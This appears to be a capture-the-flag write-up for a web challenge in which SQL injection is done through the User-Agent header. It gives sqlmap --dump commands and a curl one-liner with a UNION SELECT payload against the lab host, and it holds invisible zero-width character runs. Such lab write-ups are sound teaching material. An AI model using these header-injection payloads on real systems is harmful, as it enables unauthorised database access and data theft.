level26

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: header_based_sqli, user_agent_injection

Summary

Walkthrough of the CUSTOM Web level26. SQL injection task from the sqlmap category. The injection point is in the User-Agent HTTP header, not in URL parameters.

Description

SQL injection task from the sqlmap category. The injection point is in the User-Agent HTTP header, not in URL parameters.

URL: http://kslweb1.spb.ctf.su/third/level26/

Analysis

The application logs or processes the User-Agent HTTP header in a SQL query. This is a common pattern in applications that track visitor statistics or log access attempts. The User-Agent value is inserted into the database without proper sanitization.

Solution

1. Identify that the injection point is in the User-Agent header (not URL parameters)
2. Use sqlmap with the --headers option or Burp Suite to inject via User-Agent
3. Extract data using UNION-based or error-based injection ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
# Using sqlmap with User-Agent injection
sqlmap -u "http://kslweb1.spb.ctf.su/third/level26/" --headers="User-Agent: *" --dump

# Or specify the injection point explicitly
sqlmap -u "http://kslweb1.spb.ctf.su/third/level26/" -p "User-Agent" --dump

Manual exploitation with curl:

 bash read-only • copy allowed Copy
curl -H "User-Agent: ' UNION SELECT 1,2,flag FROM flags-- -" "http://kslweb1.spb.ctf.su/third/level26/"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering header_based_sqli, user_agent_injection was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • level26 • Difficulty: Easy